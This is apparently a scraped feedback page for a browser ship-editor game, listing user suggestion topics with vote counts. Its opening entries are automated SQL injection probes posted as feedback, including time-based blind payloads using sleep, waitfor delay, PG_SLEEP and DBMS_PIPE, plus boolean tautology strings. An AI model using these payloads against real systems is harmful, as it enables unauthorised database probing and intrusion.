• dwUQQUrL

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• dwUQQUrL

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• dwUQQUrL

  1-1; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1); waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 waitfor delay '0:0:15' --

• dwUQQUrL

  1oL3tlXVx'; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 OR 719=(SELECT 719 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1) OR 548=(SELECT 548 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1)) OR 762=(SELECT 762 FROM PG_SLEEP(15))--

• dwUQQUrL

  1oz8mDYL3' OR 289=(SELECT 289 FROM PG_SLEEP(15))--

• dwUQQUrL

  1HbiJx9R8') OR 650=(SELECT 650 FROM PG_SLEEP(15))--

• dwUQQUrL

  1tONG7k7u')) OR 495=(SELECT 495 FROM PG_SLEEP(15))--

• dwUQQUrL

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• dwUQQUrL

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• dwUQQUrL

  1

• dwUQQUrL

  1'"

• dwUQQUrL

  @@Z7NT6

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL5d46yCiI

  1

• dwUQQUrL

  1

• -1 OR 2+533-533-1=0+0+0+1 --

  1

• -1 OR 2+221-221-1=0+0+0+1

  1

• -1' OR 2+462-462-1=0+0+0+1 --

  1

• -1' OR 2+744-744-1=0+0+0+1 or 'liKlyqON'='

  1

• -1" OR 2+815-815-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• dwUQQUrL-1 waitfor delay '0:0:15' --

  1

• dwUQQUrLEtY6By3b'; waitfor delay '0:0:15' --

  1

• dwUQQUrL

  1

• dwUQQUrL'"

  1

• @@2nHh6

  1

• dwUQQUrL

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 157 months ago
  Unvote

  8130 agree

• Hack Protection
  By Stealthkid - 148 months ago
  Unvote

  2913 agree

• Add to favorites
  By Anonymous - 159 months ago
  Unvote

  854 agree

• editro
  By critic - 159 months ago
  Unvote

  826 agree

• Missiles as an Third Weapon
  By Ram - 155 months ago
  Unvote

  814 agree

• Youtube B-wing achievement
  By chuck norris - 157 months ago
  Unvote

  807 agree

• Change Name?
  By Anonymous - 159 months ago
  Unvote

  773 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 115 months ago
  Unvote

  758 agree

• Slide ship in on start
  By Kickass guy - 159 months ago
  Unvote

  727 agree

• Mistaken Website Bug
  By CrazyDeathling - 157 months ago
  Unvote

  722 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 154 months ago
  Unvote

  718 agree

• Rank list & Leaderboards
  By StoleYourFood - 154 months ago
  Unvote

  704 agree

• It doesn't work!
  By the destructor - 158 months ago
  Unvote

  689 agree

• What browsers are supported?
  By Jack - 156 months ago
  Unvote

  686 agree

• Awesome
  By Anonymous - 151 months ago
  Unvote

  656 agree

• Try Me does not work
  By Tim - 159 months ago
  Unvote

  644 agree

• Two major glitches
  By BeyPokéDig - 159 months ago
  Unvote

  643 agree

• Save
  By DevilishDB - 157 months ago
  Unvote

  635 agree

• Undo button
  By wombat - 156 months ago
  Unvote

  633 agree

• battle
  By alexof - 157 months ago
  Unvote

  630 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 152 months ago
  Unvote

  625 agree

• achievements
  By Lee - 159 months ago
  Unvote

  618 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 159 months ago
  Unvote

  618 agree

• how do i draw the outline
  By kickassisdeboss - 158 months ago
  Unvote

  617 agree

• omfg
  By Russellmichael13 - 157 months ago
  Unvote

  613 agree

• Pen tool
  By Cblackdragon - 154 months ago
  Unvote

  607 agree

• White labeling the app?
  By Peter.dibart - 154 months ago
  Unvote

  588 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 158 months ago
  Unvote

  580 agree

• You guys should have a symmetrical mode
  By Idrees - 158 months ago
  Unvote

  577 agree

• Enemies
  By Agallup16 - 158 months ago
  Unvote

  562 agree

• Mirrored editing
  By wombat - 156 months ago
  Unvote

  559 agree

• Designer
  By Anonymous - 159 months ago
  Unvote

  550 agree

• Rankings
  By heyo - 158 months ago
  Unvote

  549 agree

• need some advice
  By Hao - 156 months ago
  Unvote

  547 agree

• Benefits from improving ranks
  By hurrtz - 155 months ago
  Unvote

  544 agree

• Pro!!
  By Jtbui20 - 158 months ago
  Unvote

  540 agree

• Forums
  By BeyPokéDig - 158 months ago
  Unvote

  536 agree

• Button
  By Cottonball - 158 months ago
  Unvote

  536 agree

• android app
  By Barissenkal - 150 months ago
  Unvote

  532 agree

• help
  By Russellmichael13 - 157 months ago
  Unvote

  531 agree

• Extra weapons
  By MassMurdererOver9000 - 153 months ago
  Unvote

  522 agree

• Undo Button
  By Cblackdragon - 154 months ago
  Unvote

  521 agree

• 1 agrees
  By BeyPokéDig - 159 months ago
  Unvote

  519 agree

• I am using this on my site
  By Idrees - 158 months ago
  Unvote

  518 agree

• Image for ship
  By wombat - 156 months ago
  Unvote

  512 agree

• 0xp till| Only GA.
  By StoleYourFood - 154 months ago
  Unvote

  512 agree

• Question
  By Kickin Ass - 158 months ago
  Unvote

  497 agree

• how come the editor is so hard to use
  By Rcasassin - 156 months ago
  Unvote

  490 agree

• You guys need an undo button
  By Idrees - 158 months ago
  Unvote

  488 agree

• page moving up/down while controling the ship?
  By Tommy - 158 months ago
  Unvote

  464 agree